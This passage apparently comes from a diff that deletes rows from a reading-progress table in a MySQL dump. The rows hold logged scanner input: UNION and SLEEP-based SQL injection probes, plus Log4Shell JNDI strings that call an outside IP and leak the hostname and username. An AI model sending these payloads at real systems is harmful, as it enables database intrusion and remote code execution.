1,2,3,4,5,6,7,8-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:47', '2026-02-12 09:58:45', '2026-02-12 09:53:47', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (83, '\' union select 1,2,3,4,5,6,7,8,9-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:47', '2026-02-12 09:58:45', '2026-02-12 09:53:47', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (90, '\' union select 1,2,3,4,5,6,7,8,9,10-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:50', '2026-02-12 09:58:45', '2026-02-12 09:53:50', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (91, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" union select 1-', 0, 9, 'reading', NULL, '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53'); -INSERT INTO `reading_progress` VALUES (92, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" union select 1,', 0, 9, 'reading', NULL, '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53'); -INSERT INTO `reading_progress` VALUES (95, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:58:40', '2026-02-12 09:53:54', '2026-02-12 09:58:40'); -INSERT INTO `reading_progress` VALUES (96, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1,2--', 0, 27, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:58:40', '2026-02-12 09:53:54', '2026-02-12 09:58:40'); -INSERT INTO `reading_progress` VALUES (97, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1,2,3', 0, 9, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:53:54', '2026-02-12 09:53:54', '2026-02-12 09:53:54'); -INSERT INTO `reading_progress` VALUES (114, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (115, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (116, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2,3--', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (117, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2,3,4', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:54:27', '2026-02-12 09:54:27', '2026-02-12 09:54:27'); -INSERT INTO `reading_progress` VALUES (124, '\" union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (125, '\" union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (126, '\" union select 1,2,3-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (127, '\" union select 1,2,3,4-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (128, '\" union select 1,2,3,4,5-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:59:03', '2026-02-12 09:54:27', '2026-02-12 09:59:03'); -INSERT INTO `reading_progress` VALUES (129, '\" union select 1,2,3,4,5,6-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:03', '2026-02-12 09:54:28', '2026-02-12 09:59:03'); -INSERT INTO `reading_progress` VALUES (130, '\" union select 1,2,3,4,5,6,7-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:34', '2026-02-12 09:54:28', '2026-02-12 09:59:34'); -INSERT INTO `reading_progress` VALUES (131, '\" union select 1,2,3,4,5,6,7,8-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:34', '2026-02-12 09:54:28', '2026-02-12 09:59:34'); -INSERT INTO `reading_progress` VALUES (132, '\" union select 1,2,3,4,5,6,7,8,9-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 10:00:05', '2026-02-12 09:54:28', '2026-02-12 10:00:05'); -INSERT INTO `reading_progress` VALUES (133, '\" union select 1,2,3,4,5,6,7,8,9,10-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 10:00:05', '2026-02-12 09:54:28', '2026-02-12 10:00:05'); -INSERT INTO `reading_progress` VALUES (134, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\") OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (135, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\") OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (136, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\") OR (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (137, '\") OR (SELECT*FROM(SELECT(SLEEP(4)))ummq) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (138, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\")) OR (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38'); -INSERT INTO `reading_progress` VALUES (139, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\")) OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38'); -INSERT INTO `reading_progress` VALUES (140, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\")) OR (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (141, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))jvfg) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (142, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (143, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (144, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" OR (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (145, '\" OR (SELECT*FROM(SELECT(SLEEP(2)))ayuv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (146, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\')) OR (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (147, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\')) OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (148, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\')) OR (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:46', '2026-02-12 09:54:46', '2026-02-12 09:54:46', '2026-02-12 09:54:46'); -INSERT INTO `reading_progress` VALUES (149, '\')) OR (SELECT*FROM(SELECT(SLEEP(4)))ielq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (150, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (151, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (152, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' OR (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (153, '\' OR (SELECT*FROM(SELECT(SLEEP(4)))lknf) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (154, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\') OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (155, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\') OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (156, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\') OR (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (157, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))cifh) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (158, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:55', '2026-02-12 09:54:55', '2026-02-12 09:54:56', '2026-02-12 09:54:56'); -INSERT INTO `reading_progress` VALUES (159, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' OR (SELECT*FROM(SEL', 0, 9, 'reading', NULL, '2026-02-12 09:54:56', '2026-02-12 09:54:56', '2026-02-12 09:54:56', '2026-02-12 09:54:56'); -INSERT INTO `reading_progress` VALUES (160, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1)) OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (161, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ')) OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (162, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1) OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (163, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ') OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (164, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\")) AND (SELECT*F', 0, 9, 'reading', NULL, '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00'); -INSERT INTO `reading_progress` VALUES (165, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\")) AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00'); -INSERT INTO `reading_progress` VALUES (166, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\")) AND (SELECT*FROM(S', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (167, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))hwhp) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (168, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (169, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (170, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" AND (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (171, '\" AND (SELECT*FROM(SELECT(SLEEP(3)))xiyp) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (172, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\')) AND (SELECT*F', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (173, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\')) AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:08', '2026-02-12 09:55:08', '2026-02-12 09:55:08', '2026-02-12 09:55:08'); -INSERT INTO `reading_progress` VALUES (174, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\')) AND (SELECT*FROM(S', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (175, '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))ilbr) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (176, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\") AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (177, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\") AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (178, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\") AND (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (179, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))pxfo) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (180, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16'); -INSERT INTO `reading_progress` VALUES (181, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16'); -INSERT INTO `reading_progress` VALUES (182, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' AND (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (183, '\' AND (SELECT*FROM(SELECT(SLEEP(3)))jckn) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (184, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\') AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (185, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\') AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (186, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\') AND (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:18', '2026-02-12 09:55:18', '2026-02-12 09:55:18', '2026-02-12 09:55:18'); -INSERT INTO `reading_progress` VALUES (187, '\') AND (SELECT*FROM(SELECT(SLEEP(4)))aipu) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (188, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (189, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' AND (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (194, 'ogpTW5dBNnNpqttcxUbMBlG75Q38 AND (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (195, ' AND (SELECT*FROM(SELECT(SLEEP(3)))pduy) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (196, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1) AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (197, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ') AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO `reading_progress` VALUES (201, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1)) AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:23', '2026-02-12 09:55:23', '2026-02-12 09:55:23', '2026-02-12 09:55:23'); -INSERT INTO `reading_progress` VALUES (202, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ')) AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:24', '2026-02-12 09:55:24', '2026-02-12 09:55:24', '2026-02-12 09:55:24'); -INSERT INTO `reading_progress` VALUES (207, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:rmi://183.47.', 0, 9, 'reading', NULL, '2026-02-12 09:55:25', '2026-02-12 09:55:25', '2026-02-12 09:55:25', '2026-02-12 09:55:25'); -INSERT INTO `reading_progress` VALUES (208, '${jndi:rmi://183.47.120.213:1099/bypass8575e7a4aa0', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26'); -INSERT INTO `reading_progress` VALUES (209, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:ldap://183.47', 0, 9, 'reading', NULL, '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26', '2026-02-12 09:55:26'); -INSERT INTO `reading_progress` VALUES (210, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:ldap://hostna', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (211, '${jndi:ldap://hostname-${hostName}.username-${sys:', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (212, '${jndi:ldap://183.47.120.213:1389/jdk185a1562f7553', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (213, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '${jndi:rmi://hostnam', 0, 9, 'reading', NULL, '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28', '2026-02-12 09:55:28'); -INSERT INTO `reading_progress` VALUES (214, '${jndi:rmi://hostname-${hostName}.username-${sys:u', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:29', '2026-02-12 09:55:29', '2026-02-12 09:55:29', '2026-02-12 09:55:29'); -INSERT INTO `reading_progress` VALUES (215, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'aaaa\'%bf%27', 0, 27, 'reading', NULL, '2026-02-12 09:55:30', '2026-02-12 09:59:50', '2026-02-12 09:55:30', '2026-02-12 09:59:50'); -INSERT INTO `reading_progress` VALUES (222, 'aaaa\'%bf%27', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:55:31', '2026-02-12 09:59:52', '2026-02-12 09:55:31', '2026-02-12 09:59:52'); -INSERT INTO `reading_progress` VALUES (257, '\") OR (SELECT*FROM(SELECT(SLEEP(2)))rgtx) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:36', '2026-02-12 09:56:36', '2026-02-12 09:56:36', '2026-02-12 09:56:36'); -INSERT INTO `reading_progress` VALUES (261, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))dzfm) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:39', '2026-02-12 09:56:39', '2026-02-12 09:56:39', '2026-02-12 09:56:39'); -INSERT INTO `reading_progress` VALUES (265, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))acjt) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:41', '2026-02-12 09:56:41', '2026-02-12 09:56:41', '2026-02-12 09:56:41'); -INSERT INTO `reading_progress` VALUES (269, '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))mzap) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:43', '2026-02-12 09:56:43', '2026-02-12 09:56:43', '2026-02-12 09:56:43'); -INSERT INTO `reading_progress` VALUES (273, '\' OR (SELECT*FROM(SELECT(SLEEP(3)))gkfv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:46', '2026-02-12 09:56:46', '2026-02-12 09:56:46', '2026-02-12 09:56:46'); -INSERT INTO `reading_progress` VALUES (277, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))pixq) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:48', '2026-02-12 09:56:48', '2026-02-12 09:56:48', '2026-02-12 09:56:48'); -INSERT INTO `reading_progress` VALUES (287, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))jnlg) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:56:59', '2026-02-12 09:56:59', '2026-02-12 09:56:59', '2026-02-12 09:56:59'); -INSERT INTO `reading_progress` VALUES (295, '\" AND (SELECT*FROM(SELECT(SLEEP(3)))zsef) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:05', '2026-02-12 09:57:05', '2026-02-12 09:57:05', '2026-02-12 09:57:05'); -INSERT INTO `reading_progress` VALUES (299, '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))jyge) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:08', '2026-02-12 09:57:08', '2026-02-12 09:57:08', '2026-02-12 09:57:08'); -INSERT INTO `reading_progress` VALUES (303, '\") AND (SELECT*FROM(SELECT(SLEEP(4)))glvq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:10', '2026-02-12 09:57:10', '2026-02-12 09:57:10', '2026-02-12 09:57:10'); -INSERT INTO `reading_progress` VALUES (307, '\' AND (SELECT*FROM(SELECT(SLEEP(4)))dwtb) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:13', '2026-02-12 09:57:13', '2026-02-12 09:57:13', '2026-02-12 09:57:13'); -INSERT INTO `reading_progress` VALUES (311, '\') AND (SELECT*FROM(SELECT(SLEEP(4)))gbrl) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:15', '2026-02-12 09:57:15', '2026-02-12 09:57:15', '2026-02-12 09:57:15'); -INSERT INTO `reading_progress` VALUES (315, ' AND (SELECT*FROM(SELECT(SLEEP(4)))gzed) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:17', '2026-02-12 09:57:17', '2026-02-12 09:57:17', '2026-02-12 09:57:17'); -INSERT INTO `reading_progress` VALUES (321, '${jndi:rmi://183.47.120.213:1099/bypass97817c8aa7c', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:23', '2026-02-12 09:57:23', '2026-02-12 09:57:23', '2026-02-12 09:57:23'); -INSERT INTO `reading_progress` VALUES (323, '${jndi:ldap://183.47.120.213:1389/jdk1835df4e7954f', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:57:24', '2026-02-12 09:57:24', '2026-02-12 09:57:24', '2026-02-12 09:57:24'); -INSERT INTO `reading_progress` VALUES (387, '\") OR (SELECT*FROM(SELECT(SLEEP(3)))grxe) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:59:00', '2026-02-12 09:59:00', '2026-02-12 09:59:00', '2026-02-12 